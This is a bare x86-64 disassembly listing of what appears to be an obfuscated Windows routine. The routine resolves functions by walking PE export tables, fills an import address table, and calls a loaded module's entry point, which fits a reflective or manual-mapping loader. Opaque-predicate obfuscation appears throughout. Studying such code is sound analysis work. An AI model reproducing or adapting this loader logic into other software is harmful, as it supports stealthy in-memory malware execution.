movzx eax, byte [rsi]
movzx edx, byte [rbx]
test al, al
je 0x18000229f
add rsi, 1
add rbx, 1
cmp al, dl
je 0x180002289
cmp al, dl
je 0x1800022ad
add rdi, 4
add rcx, 2
jmp 0x180002281
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000215e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000215e
jmp 0x180002610
test bl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
je 0x180002626
mov rbx, qword [rbp - 0x18]
mov edi, dword [rbx]
mov r14d, dword [rbx + 0x10]
mov rbx, qword [rbp]
add r14, rbx
add rdi, rbx
mov qword [rbp - 0x28], rdi
mov rbx, qword [rbp - 0x28]
mov rbx, qword [rbx]
test rbx, rbx
je 0x1800025f2
mov rax, qword [rbp - 0x30]
add rax, rbx
test rbx, rbx
movzx r12d, bx
cmovns r12, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002378
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002628
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800023a7
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002624
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov esi, dword [r9 + rax + 0x24]
add rsi, r9
add rdx, r9
mov eax, dword [rdx]
add rax, r9
mov rdi, qword [rbp - 0x20]
movzx ebx, byte [rdi]
movzx ecx, byte [rax]
test bl, bl
je 0x1800023d9
add rdi, 1
add rax, 1
cmp bl, cl
je 0x1800023c3
cmp bl, cl
je 0x1800023e7
add rdx, 4
add rsi, 2
jmp 0x1800023ba
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, r12
call r9
add rsp, 0x20
mov qword [r14], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea ebx, [rax - 1]
imul ebx, eax
cmp ecx, 0xa
jl 0x1800025d0
mov edx, ebx
and edx, 1
je 0x1800025d0
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000245d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002618
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000248c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000261a
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800024be
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800024a8
cmp al, bl
je 0x1800024cc
add rdx, 4
add rcx, 2
jmp 0x18000249f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, r12
call r9
add rsp, 0x20
mov qword [r14], rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
call fcn.180002690
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000251c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000261c
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000254b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000261e
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rcx, r9
add rdx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x20]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x18000257d
add rsi, 1
add rdi, 1
cmp al, bl
je 0x180002567
cmp al, bl
je 0x18000258b
add rdx, 4
add rcx, 2
jmp 0x18000255e
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, r12
call r9
add rsp, 0x20
mov qword [r14], rax
cmp dword [0x180020a6c], 0xa
jl 0x180002346
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000242b
jmp 0x180002346
add qword [rbp - 0x28], 8
add r14, 8
test bl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
cmp dl, 1
je 0x180002324
jmp 0x180002626
mov rbx, qword [rbp - 0x18]
mov edi, dword [rbx + 0x20]
add rbx, 0x14
mov qword [rbp - 0x18], rbx
test edi, edi
jne 0x180002108
test dl, 1
jne 0x18000262a
jmp 0x180002659
jmp 0x180002610
jmp 0x180002612
jmp 0x180002614
jmp 0x180002616
jmp 0x180002618
jmp 0x18000261a
jmp 0x18000261c
jmp 0x18000261e
jmp 0x180002620
jmp 0x180002622
jmp 0x180002624
jmp 0x180002626
jmp 0x180002628
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x28]
add rax, qword [rbp]
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002670
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002670
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x28]
add rax, qword [rbp]
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x18000262a
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret